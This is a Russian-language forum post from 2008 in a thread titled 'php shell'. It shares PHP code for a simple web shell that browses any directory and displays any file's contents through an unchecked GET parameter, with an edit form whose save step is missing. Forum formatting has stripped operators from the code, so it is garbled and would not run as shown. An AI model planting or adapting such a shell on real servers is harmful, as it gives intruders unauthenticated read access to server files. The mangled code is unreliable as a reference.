Тема: php shell
Показать сообщение отдельно

  #3  
Старый 21.05.2008, 18:28
Naydav
Постоянный
Регистрация: 30.12.2006
Сообщений: 434
С нами: 10191686

Репутация: 210
По умолчанию

PHP код:
    function getFileInDir($path)
    {
        
$handle opendir($path);
        if(
$path!='./')$path .= "/";                            
        while (
false !== ($file readdir($handle)))
            
$out .= '<a href="?name=' $path $file '">' $file '</a></br>' .  "\n";
        return 
$out;
    }
        
        echo 
"<center>
                <table border=3 width=\"100%\">
                  <tr>"
;
            
        
$object = isset($_GET['name']) ? $_GET['name'] : './';        
        if(
is_dir($object))
            echo 
'<td width="200"><h1>Select Edit</h1>' getFileInDir($object) . '</td><td>&nbsp;</td>';
                        
        else
            echo 
'
                 <td width="200"><a href="javascript:history.go(-1);">Cancel</a></td>
                 <td><h1>File Edit</h1>               
                    <form method="POST">
                      <textarea cols="50" rows="20" name="text">' 
htmlspecialchars(file_get_contents($object)) . '</textarea>
                      <input type="submit" value="OK">
                    </form>
                  </td>'
;        
            
            echo 
'</tr>
               </table>
               </center>'

 
Ответить с цитированием